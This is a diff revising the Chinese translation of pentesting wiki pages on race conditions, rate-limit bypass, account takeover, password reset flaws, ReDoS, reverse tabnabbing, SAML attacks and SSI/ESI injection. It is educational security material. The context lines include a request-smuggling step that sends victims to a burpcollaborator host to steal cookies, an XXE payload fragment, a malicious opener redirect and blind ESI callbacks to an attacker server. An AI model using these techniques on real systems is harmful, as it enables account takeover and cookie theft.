@ -283,24 +283,24 @@ asyncio.run(main())
|
||||
|
||||
### 限制溢出 / TOCTOU
|
||||
|
||||
这是最基本的竞争条件类型,其中 **漏洞** 出现在 **限制你执行某个操作次数** 的地方。比如在网上商店中多次使用相同的折扣码。一个非常简单的例子可以在 [**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 或 [**这个漏洞**](https://hackerone.com/reports/759247)** 中找到。**
|
||||
这是最基本的竞争条件类型,其中**漏洞**出现在**限制您执行操作次数**的地方。就像在网络商店中多次使用相同的折扣码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或[**这个漏洞**](https://hackerone.com/reports/759247)**中找到。**
|
||||
|
||||
这种攻击有许多变种,包括:
|
||||
这种攻击有许多变体,包括:
|
||||
|
||||
- 多次兑换礼品卡
|
||||
- 多次评价产品
|
||||
- 提取或转移超过账户余额的现金
|
||||
- 重复使用单个 CAPTCHA 解答
|
||||
- 重复使用单个 CAPTCHA 解
|
||||
- 绕过反暴力破解速率限制
|
||||
|
||||
### **隐藏子状态**
|
||||
|
||||
利用复杂的竞争条件通常涉及利用与隐藏或 **意外机器子状态** 交互的短暂机会。以下是处理此问题的方法:
|
||||
利用复杂的竞争条件通常涉及利用与隐藏或**意外机器子状态**交互的短暂机会。以下是处理此问题的方法:
|
||||
|
||||
1. **识别潜在的隐藏子状态**
|
||||
- 首先确定修改或与关键数据交互的端点,例如用户资料或密码重置过程。重点关注:
|
||||
- **存储**:优先选择操作服务器端持久数据的端点,而不是处理客户端数据的端点。
|
||||
- **操作**:寻找更可能创建可利用条件的操作,这些操作会改变现有数据,而不是添加新数据。
|
||||
- **操作**:寻找更可能创建可利用条件的操作,这些操作会更改现有数据,而不是添加新数据。
|
||||
- **键控**:成功的攻击通常涉及基于相同标识符的操作,例如用户名或重置令牌。
|
||||
2. **进行初步探测**
|
||||
- 使用竞争条件攻击测试识别的端点,观察是否有任何偏离预期结果的情况。意外的响应或应用程序行为的变化可能表明存在漏洞。
|
||||
@ -325,29 +325,29 @@ asyncio.run(main())
|
||||
|
||||
### 支付并添加项目
|
||||
|
||||
查看这个 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 了解如何在商店中 **支付** 并 **添加一个额外** 的项目而 **无需支付**。
|
||||
查看这个 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 了解如何在商店中**支付**并**添加一个额外**的您**不需要支付的**项目。
|
||||
|
||||
### 确认其他电子邮件
|
||||
|
||||
这个想法是 **同时验证一个电子邮件地址并将其更改为另一个**,以找出平台是否验证了更改后的新地址。
|
||||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个**,以找出平台是否验证更改后的新地址。
|
||||
|
||||
### 将电子邮件更改为两个基于 Cookie 的电子邮件地址
|
||||
|
||||
根据 [**这项研究**](https://portswigger.net/research/smashing-the-state-machine),Gitlab 可能因为 **将一个电子邮件的验证令牌发送到另一个电子邮件** 而容易受到接管。
|
||||
根据[**这项研究**](https://portswigger.net/research/smashing-the-state-machine),Gitlab 通过这种方式容易受到接管,因为它可能**将一个电子邮件的电子邮件验证令牌发送到另一个电子邮件**。
|
||||
|
||||
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **进行尝试。**
|
||||
|
||||
### 隐藏数据库状态 / 确认绕过
|
||||
|
||||
如果使用 **两个不同的写入** 来 **添加** **信息** 到 **数据库** 中,则在 **仅第一个数据被写入** 数据库的短暂时间内。例如,在创建用户时,**用户名** 和 **密码** 可能会被 **写入**,然后 **令牌** 用于确认新创建的账户被写入。这意味着在短时间内 **确认账户的令牌是空的**。
|
||||
如果使用**两个不同的写入**在**数据库**中**添加**信息,则在**仅写入第一条数据**的短时间内,**数据库**中可能只有第一条数据。例如,在创建用户时,**用户名**和**密码**可能被**写入**,然后**确认新创建账户的令牌**被写入。这意味着在短时间内,**确认账户的令牌为 null**。
|
||||
|
||||
因此,**注册一个账户并发送多个带有空令牌** (`token=` 或 `token[]=` 或任何其他变体) 的请求以立即确认账户,可能允许 **确认一个你无法控制电子邮件的账户**。
|
||||
因此,**注册一个账户并发送多个带有空令牌的请求**(`token=`或`token[]=`或任何其他变体)以立即确认账户,可能允许您**确认一个您无法控制电子邮件的账户**。
|
||||
|
||||
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **进行尝试。**
|
||||
|
||||
### 绕过 2FA
|
||||
|
||||
以下伪代码容易受到竞争条件的影响,因为在创建会话的非常短时间内 **2FA 并未强制执行**:
|
||||
以下伪代码容易受到竞争条件的影响,因为在创建会话的非常短时间内,**2FA 并未强制执行**:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
@ -357,20 +357,20 @@ session['enforce_mfa'] = True
|
||||
```
|
||||
### OAuth2 永久持久性
|
||||
|
||||
有几个 [**OAUth 提供者**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)。这些服务允许您创建一个应用程序并验证提供者已注册的用户。为此,**客户端**需要**允许您的应用程序**访问其在**OAUth 提供者**中的某些数据。\
|
||||
到此为止,只是一个常见的使用 google/linkedin/github 等的登录,您会看到一个页面提示:“_应用程序 \<InsertCoolName> 想要访问您的信息,您想允许吗?_”
|
||||
有几个 [**OAUth 提供者**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)。这些服务允许您创建一个应用程序并验证提供者注册的用户。为此,**客户端**需要**允许您的应用程序**访问其在**OAUth 提供者**中的某些数据。\
|
||||
到此为止,只是一个常见的使用 google/linkedin/github 等登录的过程,您会看到一个页面提示:“_应用程序 \<InsertCoolName> 想要访问您的信息,您想允许吗?_”
|
||||
|
||||
#### `authorization_code` 中的竞争条件
|
||||
|
||||
**问题**出现在您**接受**它并自动将**`authorization_code`**发送到恶意应用程序时。然后,这个**应用程序利用 OAUth 服务提供者中的竞争条件从您的账户的**`authorization_code`**生成多个 AT/RT**(_身份验证令牌/刷新令牌_)。基本上,它将利用您已接受该应用程序访问您的数据的事实来**创建多个账户**。然后,如果您**停止允许该应用程序访问您的数据,一对 AT/RT 将被删除,但其他的仍然有效**。
|
||||
**问题**出现在您**接受**后,自动将**`authorization_code`**发送给恶意应用程序。然后,这个**应用程序利用 OAUth 服务提供者中的竞争条件,从您的账户的**`authorization_code`**生成多个 AT/RT**(_身份验证令牌/刷新令牌_)。基本上,它将利用您已接受该应用程序访问您数据的事实来**创建多个账户**。然后,如果您**停止允许该应用程序访问您的数据,一对 AT/RT 将被删除,但其他的仍然有效**。
|
||||
|
||||
#### `Refresh Token` 中的竞争条件
|
||||
|
||||
一旦您**获得有效的 RT**,您可以尝试**利用它生成多个 AT/RT**,即使用户取消了恶意应用程序访问其数据的权限,**多个 RT 仍然有效。**
|
||||
一旦您**获得有效的 RT**,您可以尝试**利用它生成多个 AT/RT**,即使用户取消了恶意应用程序访问其数据的权限,**多个 RT 仍然有效**。
|
||||
|
||||
## **WebSockets 中的 RC**
|
||||
|
||||
在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 中,您可以找到一个 Java 的 PoC,用于并行发送 websocket 消息以滥用**Web Sockets 中的竞争条件**。
|
||||
在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 中,您可以找到一个用 Java 编写的 PoC,以**并行**发送 websocket 消息,利用**Web Sockets 中的竞争条件**。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -42,7 +42,7 @@ X-Forwarded-For: 127.0.0.1
|
||||
|
||||
### 利用代理网络
|
||||
|
||||
部署一个代理网络,将请求分散到多个 IP 地址,可以有效绕过基于 IP 的速率限制。通过各种代理路由流量,每个请求看起来都来自不同的来源,从而稀释速率限制的有效性。
|
||||
部署一个代理网络,将请求分散到多个 IP 地址,可以有效绕过基于 IP 的速率限制。通过通过各种代理路由流量,每个请求看起来都来自不同的来源,从而稀释速率限制的有效性。
|
||||
|
||||
### 在不同帐户或会话之间分散攻击
|
||||
|
||||
@ -50,6 +50,6 @@ X-Forwarded-For: 127.0.0.1
|
||||
|
||||
### 继续尝试
|
||||
|
||||
请注意,即使存在速率限制,您也应该尝试查看在发送有效 OTP 时响应是否不同。在 [**这篇文章**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) 中,漏洞猎人发现,即使在 20 次不成功的尝试后触发了速率限制并以 401 响应,如果发送了有效的 OTP,则会收到 200 响应。
|
||||
请注意,即使存在速率限制,您也应该尝试查看在发送有效 OTP 时响应是否不同。在 [**这篇文章**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) 中,漏洞猎人发现,即使在 20 次不成功尝试后触发速率限制并以 401 响应,如果发送了有效的 OTP,则会收到 200 响应。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -115,7 +115,7 @@ email=victim@mail.com|hacker@mail.com
|
||||
|
||||
1. 使用API/UI触发特定电子邮件的密码重置请求,例如:test@mail.com
|
||||
2. 检查服务器响应并查看`resetToken`
|
||||
3. 然后在URL中使用令牌,例如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
3. 然后在URL中使用令牌,如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
@ -139,7 +139,7 @@ email=victim@mail.com|hacker@mail.com
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. 构造一个请求,该请求将用以下数据覆盖`POST / HTTP/1.1`:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:`,目的是将受害者重定向到burpcollab并窃取他们的cookies\
|
||||
3\. 最终请求可能看起来像以下内容
|
||||
3\. 最终请求可能看起来如下
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
@ -157,7 +157,7 @@ Hackerone 报告利用此漏洞\
|
||||
|
||||
### 通过 CSRF 实现账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. 创建 CSRF 的有效载荷,例如:“用于密码更改的自动提交 HTML 表单”
|
||||
1. 创建 CSRF 的有效载荷,例如:“自动提交的 HTML 表单用于密码更改”
|
||||
2. 发送有效载荷
|
||||
|
||||
### 通过 JWT 实现账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
# 正则表达式拒绝服务 (ReDoS)
|
||||
|
||||
**正则表达式拒绝服务 (ReDoS)** 是指有人利用正则表达式(用于搜索和匹配文本模式的一种方式)工作中的弱点。有时,当使用正则表达式时,它们可能会变得非常慢,尤其是当它们处理的文本变得更大时。这种缓慢可能会变得非常严重,甚至在文本大小稍微增加时也会迅速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间无法正常工作。
|
||||
**正则表达式拒绝服务 (ReDoS)** 是指有人利用正则表达式(用于搜索和匹配文本模式的一种方式)工作中的弱点。有时,当使用正则表达式时,它们可能会变得非常慢,尤其是当它们处理的文本变得更大时。这种缓慢可能会变得非常严重,甚至在文本大小稍微增加时就会迅速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间无法正常工作。
|
||||
|
||||
## 有问题的正则表达式天真算法
|
||||
|
||||
@ -20,9 +20,9 @@
|
||||
- (a|a?)+
|
||||
- (.\*a){x} for x > 10
|
||||
|
||||
所有这些都对输入 `aaaaaaaaaaaaaaaaaaaaaaaa!` 易受攻击。
|
||||
所有这些都对输入`aaaaaaaaaaaaaaaaaaaaaaaa!`脆弱。
|
||||
|
||||
## ReDoS 有效载荷
|
||||
## ReDoS 载荷
|
||||
|
||||
### 通过 ReDoS 字符串外泄
|
||||
|
||||
@ -70,7 +70,7 @@ Regexp (a+)*$ took 723 milliseconds.
|
||||
- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||||
- [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||||
- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
||||
|
||||
@ -14,14 +14,14 @@
|
||||
|
||||
## **密码重置中毒**
|
||||
|
||||
- 攻击者可能在密码重置请求中操纵Host头,将重置链接指向恶意网站。
|
||||
- 攻击者可能在密码重置请求期间操纵Host头,将重置链接指向恶意网站。
|
||||
- **影响**:通过将重置令牌泄露给攻击者,可能导致账户接管。
|
||||
- **缓解步骤**:
|
||||
- 验证Host头是否在允许的域名白名单中。
|
||||
- 使用安全的服务器端方法生成绝对URL。
|
||||
- **补丁**:使用`$_SERVER['SERVER_NAME']`构造密码重置URL,而不是`$_SERVER['HTTP_HOST']`。
|
||||
- **参考**:
|
||||
- [关于密码重置中毒的Acunetix文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- [Acunetix关于密码重置中毒的文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **通过操纵电子邮件参数重置密码**
|
||||
|
||||
@ -72,7 +72,7 @@ POST /resetPassword
|
||||
- **缓解步骤**:
|
||||
- 服务器端正确解析和验证电子邮件参数。
|
||||
- 使用预处理语句或参数化查询以防止注入攻击。
|
||||
- **参考文献**:
|
||||
- **参考**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
@ -108,9 +108,9 @@ POST /api/changepass
|
||||
- 基于用户的电子邮件
|
||||
- 基于名字和姓氏
|
||||
- 基于出生日期
|
||||
- 基于加密
|
||||
- 基于密码学
|
||||
- **缓解步骤**:
|
||||
- 使用强大的加密方法生成令牌。
|
||||
- 使用强大的密码学方法生成令牌。
|
||||
- 确保足够的随机性和长度以防止可预测性。
|
||||
- **工具**:使用Burp Sequencer分析令牌的随机性。
|
||||
|
||||
@ -146,7 +146,7 @@ uuid-insecurities.md
|
||||
- 尝试使用Burpsuite和IP-Rotator等工具暴力破解重置令牌,以绕过基于IP的速率限制。
|
||||
- **缓解步骤**:
|
||||
- 实施强大的速率限制和账户锁定机制。
|
||||
- 监控可疑活动,以指示暴力攻击。
|
||||
- 监控可疑活动,以指示暴力破解攻击。
|
||||
|
||||
## **尝试使用您的令牌**
|
||||
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
|
||||
## 示例 <a href="#examples" id="examples"></a>
|
||||
|
||||
在一个文件夹中创建以下页面并运行一个web服务器,使用`python3 -m http.server`\
|
||||
在一个文件夹中创建以下页面,并使用`python3 -m http.server`运行一个web服务器。\
|
||||
然后,**访问**`http://127.0.0.1:8000/`vulnerable.html,**点击**链接并注意**原始****网站**的**URL**是如何**变化**的。
|
||||
```markup:vulnerable.html
|
||||
<!DOCTYPE html>
|
||||
@ -60,7 +60,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
|
||||
在发生**跨源**访问的情况下(跨不同域的访问),恶意网站可以访问的**window** JavaScript 类实例的属性仅限于以下内容:
|
||||
|
||||
- **`opener.closed`**:此属性用于确定窗口是否已关闭,返回一个布尔值。
|
||||
- **`opener.closed`**:此属性用于确定窗口是否已关闭,返回布尔值。
|
||||
- **`opener.frames`**:此属性提供对当前窗口内所有 iframe 元素的访问。
|
||||
- **`opener.length`**:此属性返回当前窗口中存在的 iframe 元素的数量。
|
||||
- **`opener.opener`**:可以通过此属性获取打开当前窗口的窗口的引用。
|
||||
|
||||
@ -53,7 +53,7 @@ First child after round-trip: Z
|
||||
|
||||
## XML签名包装攻击
|
||||
|
||||
在**XML签名包装攻击(XSW)**中,攻击者利用XML文档在两个不同阶段处理时出现的漏洞:**签名验证**和**功能调用**。这些攻击涉及改变XML文档结构。具体而言,攻击者**注入伪造元素**,这些元素不会影响XML签名的有效性。这种操控旨在造成**应用逻辑**分析的元素与**签名验证模块**检查的元素之间的差异。因此,尽管XML签名在技术上仍然有效并通过验证,但应用逻辑处理的是**欺诈元素**。因此,攻击者有效地绕过了XML签名的**完整性保护**和**来源认证**,使得**任意内容的注入**得以在不被检测的情况下进行。
|
||||
在**XML签名包装攻击(XSW)**中,攻击者利用XML文档在两个不同阶段处理时出现的漏洞:**签名验证**和**功能调用**。这些攻击涉及改变XML文档结构。具体而言,攻击者**注入伪造元素**,这些元素不会影响XML签名的有效性。这种操控旨在造成**应用逻辑**分析的元素与**签名验证模块**检查的元素之间的差异。因此,尽管XML签名在技术上仍然有效并通过验证,但应用逻辑处理的是**欺诈元素**。结果,攻击者有效地绕过了XML签名的**完整性保护**和**来源认证**,使得**任意内容的注入**得以在不被检测的情况下进行。
|
||||
|
||||
以下攻击基于[**这篇博客文章**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **和** [**这篇论文**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)。因此,请查看这些以获取更多详细信息。
|
||||
|
||||
@ -67,7 +67,7 @@ First child after round-trip: Z
|
||||
### XSW #2
|
||||
|
||||
- **与XSW #1的区别**:使用分离签名而不是封装签名。
|
||||
- **影响**:“恶意”结构,类似于XSW #1,旨在欺骗完整性检查后的业务逻辑。
|
||||
- **影响**:与XSW #1类似的“恶意”结构旨在欺骗完整性检查后的业务逻辑。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -87,7 +87,7 @@ First child after round-trip: Z
|
||||
|
||||
### XSW #5
|
||||
|
||||
- **独特之处**:签名和原始断言都不符合标准配置(封装/封装/分离)。
|
||||
- **独特方面**:签名和原始断言都不符合标准配置(封装/封装/分离)。
|
||||
- **影响**:复制的断言封装签名,修改预期的文档结构。
|
||||
|
||||
.png>)
|
||||
@ -125,7 +125,7 @@ First child after round-trip: Z
|
||||
../xxe-xee-xml-external-entity.md
|
||||
{{#endref}}
|
||||
|
||||
SAML响应是**解压缩和base64编码的XML文档**,可能会受到XML外部实体(XXE)攻击的影响。通过操纵SAML响应的XML结构,攻击者可以尝试利用XXE漏洞。以下是这种攻击的可视化方式:
|
||||
SAML响应是**解压缩和base64编码的XML文档**,可能会受到XML外部实体(XXE)攻击的影响。通过操控SAML响应的XML结构,攻击者可以尝试利用XXE漏洞。以下是这种攻击的可视化方式:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -157,9 +157,9 @@ SAML响应是**解压缩和base64编码的XML文档**,可能会受到XML外部
|
||||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
可扩展样式表语言转换 (XSLT) 可用于将 XML 文档转换为各种格式,如 HTML、JSON 或 PDF。重要的是要注意 **XSLT 转换在数字签名验证之前执行**。这意味着即使没有有效的签名,攻击也可以成功;自签名或无效签名足以继续。
|
||||
可扩展样式表语言转换 (XSLT) 可用于将 XML 文档转换为各种格式,如 HTML、JSON 或 PDF。重要的是要注意,**XSLT 转换在数字签名验证之前执行**。这意味着即使没有有效的签名,攻击也可以成功;自签名或无效签名足以继续。
|
||||
|
||||
在这里,您可以找到一个 **POC** 来检查这种类型的漏洞,在本节开头提到的 hacktricks 页面中,您可以找到有效载荷。
|
||||
在这里,您可以找到一个 **POC** 来检查此类漏洞,在本节开头提到的 hacktricks 页面中,您可以找到有效载荷。
|
||||
```xml
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
@ -210,7 +210,7 @@ Certificate Faking 是一种测试 **服务提供者 (SP) 是否正确验证 SAM
|
||||
1. 拦截 SAML 响应。
|
||||
2. 如果响应包含签名,使用 `Send Certificate to SAML Raider Certs` 按钮将证书发送到 SAML Raider Certs。
|
||||
3. 在 SAML Raider 证书选项卡中,选择导入的证书并点击 `Save and Self-Sign` 创建原始证书的自签名克隆。
|
||||
4. 返回 Burp 的代理中拦截的请求。从 XML Signature 下拉菜单中选择新的自签名证书。
|
||||
4. 返回到 Burp 的代理中拦截的请求。 从 XML Signature 下拉菜单中选择新的自签名证书。
|
||||
5. 使用 `Remove Signatures` 按钮移除任何现有签名。
|
||||
6. 使用 **`(Re-)Sign Message`** 或 **`(Re-)Sign Assertion`** 按钮(视情况而定)使用新证书签署消息或声明。
|
||||
7. 转发签名消息。成功的身份验证表明 SP 接受由您的自签名证书签署的消息,揭示 SAML 消息验证过程中的潜在漏洞。
|
||||
@ -223,7 +223,7 @@ Token Recipient Confusion 和 Service Provider Target Confusion 涉及检查 **
|
||||
|
||||
为了使 SAML Token Recipient Confusion (SAML-TRC) 攻击可行,必须满足某些条件。首先,服务提供者上必须有一个有效的帐户(称为 SP-Legit)。其次,目标服务提供者(SP-Target)必须接受来自同一身份提供者的令牌,该身份提供者为 SP-Legit 提供服务。
|
||||
|
||||
在这些条件下,攻击过程是简单的。通过共享的身份提供者与 SP-Legit 启动一个真实会话。拦截身份提供者到 SP-Legit 的 SAML 响应。然后将该拦截的 SAML 响应(原本是针对 SP-Legit 的)重定向到 SP-Target。攻击成功的标准是 SP-Target 接受该声明,从而允许访问与 SP-Legit 使用的相同帐户名下的资源。
|
||||
在这些条件下,攻击过程是直接的。通过共享的身份提供者与 SP-Legit 启动一个真实会话。拦截身份提供者到 SP-Legit 的 SAML 响应。然后将该拦截的 SAML 响应(原本是针对 SP-Legit 的)重定向到 SP-Target。攻击成功的标准是 SP-Target 接受该声明,从而允许访问与 SP-Legit 使用的相同帐户名下的资源。
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
@ -256,7 +256,7 @@ https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
这揭示了 `base` 参数接受一个 URL。考虑到这一点,出现了将 URL 替换为 `javascript:alert(123);` 的想法,以尝试发起 XSS(跨站脚本)攻击。
|
||||
这揭示了 `base` 参数接受一个 URL。考虑到这一点,出现了用 `javascript:alert(123);` 替代 URL 的想法,以尝试发起 XSS(跨站脚本)攻击。
|
||||
|
||||
### 大规模利用
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
# SAML 概述
|
||||
|
||||
**安全断言标记语言 (SAML)** 使身份提供者 (IdP) 能够将授权凭证发送给服务提供者 (SP),从而实现单点登录 (SSO)。这种方法通过允许在多个网站上使用一组凭证来简化多个登录的管理。它利用 XML 在 IdP 和 SP 之间进行标准化通信,将用户身份的认证与服务授权相连接。
|
||||
**安全断言标记语言 (SAML)** 使身份提供者 (IdP) 能够将授权凭证发送给服务提供者 (SP),从而实现单点登录 (SSO)。这种方法通过允许在多个网站之间使用一组凭证来简化多个登录的管理。它利用 XML 在 IdP 和 SP 之间进行标准化通信,将用户身份的认证与服务授权相连接。
|
||||
|
||||
## SAML 与 OAuth 的比较
|
||||
|
||||
@ -57,13 +57,13 @@ Host: shibdemo-sp1.test.edu
|
||||
|
||||
- **ds:Signature**:此部分是 XML 签名,确保断言发起者的完整性和真实性。示例中的 SAML 响应包含两个 `ds:Signature` 元素,一个用于消息,另一个用于断言。
|
||||
- **saml:Assertion**:此部分包含有关用户身份的信息以及可能的其他属性。
|
||||
- **saml:Subject**:指定断言中所有语句的主要主题。
|
||||
- **saml:Subject**:指定断言中所有声明的主要主题。
|
||||
- **saml:StatusCode**:表示对相应请求的操作状态。
|
||||
- **saml:Conditions**:详细说明断言的有效时间和指定的服务提供者等条件。
|
||||
- **saml:AuthnStatement**:确认 IdP 已对断言的主题进行身份验证。
|
||||
- **saml:AttributeStatement**:包含描述断言主题的属性。
|
||||
|
||||
在 SAML 响应之后,过程包括从 IdP 的 302 重定向。这导致对服务提供者的断言消费者服务(ACS)URL 的 POST 请求。POST 请求包括 `RelayState` 和 `SAMLResponse` 参数。ACS 负责处理和验证 SAML 响应。
|
||||
在 SAML 响应之后,过程包括来自 IdP 的 302 重定向。这导致对服务提供者的断言消费者服务(ACS)URL 的 POST 请求。POST 请求包括 `RelayState` 和 `SAMLResponse` 参数。ACS 负责处理和验证 SAML 响应。
|
||||
|
||||
在接收到 POST 请求并验证 SAML 响应后,用户最初请求的受保护资源将被授予访问权限。这通过对 `/secure/` 端点的 `GET` 请求和 `200 OK` 响应来说明,指示成功访问资源。
|
||||
|
||||
@ -95,7 +95,7 @@ XML 签名由基本元素组成,如下所示:
|
||||
|
||||
### XML 签名的类型
|
||||
|
||||
1. **封装签名**:这种类型的签名是其所签名资源的后代,意味着签名包含在与被签名内容相同的 XML 结构中。
|
||||
1. **封装签名**:这种类型的签名是其签名资源的后代,意味着签名包含在与被签名内容相同的 XML 结构中。
|
||||
|
||||
示例:
|
||||
|
||||
@ -134,7 +134,7 @@ XML 签名由基本元素组成,如下所示:
|
||||
</ds:Signature>
|
||||
```
|
||||
|
||||
3. **分离签名**:这种类型与其所签名的内容是分开的。签名和内容独立存在,但两者之间保持链接。
|
||||
3. **分离签名**:这种类型与其签名的内容是分开的。签名和内容独立存在,但两者之间保持链接。
|
||||
|
||||
示例:
|
||||
|
||||
|
||||
@ -4,22 +4,22 @@
|
||||
|
||||
## 服务器端包含基本信息
|
||||
|
||||
**(介绍摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
|
||||
**(摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
|
||||
|
||||
SSI(服务器端包含)是**放置在 HTML 页面中的指令,并在服务器上评估**,同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**,而无需通过 CGI 程序或其他动态技术提供整个页面。\
|
||||
例如,您可以将指令放入现有 HTML 页面中,例如:
|
||||
SSI(服务器端包含)是指令,**放置在 HTML 页面中,并在服务器上进行评估**,同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**,而无需通过 CGI 程序或其他动态技术提供整个页面。\
|
||||
例如,您可以在现有 HTML 页面中放置一个指令,如:
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
当页面被提供时,这个片段将被评估并替换为其值:
|
||||
|
||||
`Tuesday, 15-Jan-2013 19:28:54 EST`
|
||||
`2013年1月15日,星期二 19:28:54 EST`
|
||||
|
||||
何时使用 SSI,以及何时让您的页面完全由某个程序生成,通常取决于页面的静态部分有多少,以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法,例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的,您需要寻找其他解决方案。
|
||||
使用 SSI 的决定,以及何时让您的页面完全由某个程序生成,通常取决于页面的静态部分有多少,以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法,例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的,您需要寻找其他解决方案。
|
||||
|
||||
如果 Web 应用程序使用扩展名为**`.shtml`、`.shtm` 或 `.stm`**的文件,您可以推断出 SSI 的存在,但这并不是唯一的情况。
|
||||
如果 web 应用程序使用扩展名为**`.shtml`、`.shtm` 或 `.stm`**的文件,您可以推断出 SSI 的存在,但这并不是唯一的情况。
|
||||
|
||||
典型的 SSI 表达式具有以下格式:
|
||||
一个典型的 SSI 表达式具有以下格式:
|
||||
```
|
||||
<!--#directive param="value" -->
|
||||
```
|
||||
@ -65,7 +65,7 @@ SSI(服务器端包含)是**放置在 HTML 页面中的指令,并在服务
|
||||
```
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
如果您找不到此头部,服务器**可能仍在使用 ESI**。\
|
||||
如果找不到这个头,服务器**可能仍在使用 ESI**。\
|
||||
**盲目利用的方法也可以使用**,因为请求应该到达攻击者的服务器:
|
||||
```javascript
|
||||
// Basic detection
|
||||
@ -93,7 +93,7 @@ hell<!--esi-->o
|
||||
|
||||
- **Includes**: 支持 `<esi:includes>` 指令
|
||||
- **Vars**: 支持 `<esi:vars>` 指令。用于绕过 XSS 过滤器
|
||||
- **Cookie**: 文档 cookies 可被 ESI 引擎访问
|
||||
- **Cookie**: 文档 cookies 对 ESI 引擎可访问
|
||||
- **Upstream Headers Required**: 代理应用程序不会处理 ESI 语句,除非上游应用程序提供头信息
|
||||
- **Host Allowlist**: 在这种情况下,ESI 包含仅可能来自允许的服务器主机,使得 SSRF 例如,仅可能针对这些主机
|
||||
|
||||
